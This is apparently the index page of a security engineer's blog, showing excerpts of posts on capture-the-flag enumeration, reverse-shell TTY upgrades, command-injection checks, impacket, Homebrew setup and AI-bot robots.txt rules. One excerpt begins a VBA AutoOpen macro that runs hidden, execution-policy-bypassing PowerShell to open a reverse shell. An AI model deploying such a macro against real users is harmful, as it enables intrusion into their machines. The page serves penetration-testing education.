Jawad Nassar
Jawad Nassar
Hello, I’m Jawad! I’ve been immersed in software and computers for most of my life. Currently, I’m an engineering manager with a focus on application security.
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I noticed that a large percentage of traffic to my site comes from AI bots. Even though many of them do not comply with robots.txt or ai.txt, I’ve included the following lists in an attempt to block some of them: robots.txt --- layout: null sitemap: false --- User-agent: * Sitemap: https://jawad.ca/sitemap.xml...
When executing a downloaded shell script, you might encounter the error syntax error: unexpected end of file (expecting "do"). This is often due to improper line endings. To fix this issue Convert Windows-style line endings (CRLF) to Unix-style (LF): cat yourscript.sh | tr -d '\r' > yournewscript.sh Verify the line...
Enumeration kali@jawad:~$ nmap -sC -sV 10.129.135.12 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:50 EDT Nmap scan report for 10.129.135.12 Host is up (0.023s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1...
When we establish a reverse shell, it is often very limited in functionality and prone to breaking. Basic features like command history navigation (using up/down arrows) or autocomplete may not work. To resolve these limitations, we can upgrade our TTY using the python or stty method. Below is a step-by-step guide...
Enumeration kali@kali:~/Documents/Notes/CTF/Machines/nibbles/nibbles$ nmap 10.129.166.213 -sC -sV -oA nibbles Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 14:29 EST Nmap scan report for 10.129.166.213 Host is up (0.025s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open...
Many authors have discussed the hidden secrets to achieving mastery, from renowned writers to the average youtuber recycling clichéd advice and offering “all the secrets” if we just follow their process (and, of course, buy their $19.99 course). It seems that most people perceive the path to mastery in extremes....
Below is an example of a VBA macro designed to open a reverse shell on a Windows system: Sub AutoOpen() OpenReverseShell End Sub Sub OpenReverseShell() Dim strShellPath As String strShellPath = "cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object...
If you’re attempting a command injection and want to confirm whether your commands are being executed on the target, you can always try pinging your machine and capture the ping using tcpdump. sudo tcpdump -i tun0 icmp -i tun0: Specifies the network interface on which tcpdump should listen for traffic. In this case,...
impacket is a collection of Python classes for working with network protocols, and it’s a popular toolset among penetration testers and security professionals for tasks such as creating and sending packets, transferring files, and executing commands remotely. First, ensure that impacket is installed: sudo apt-get...
Install Homebrew Homebrew is a package manager for MacOS that simplifies the process of installing software on MacOS. /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" Install iTerm2 With Homebrew installed, you can easily install iTerm2 by running: brew install --cask...
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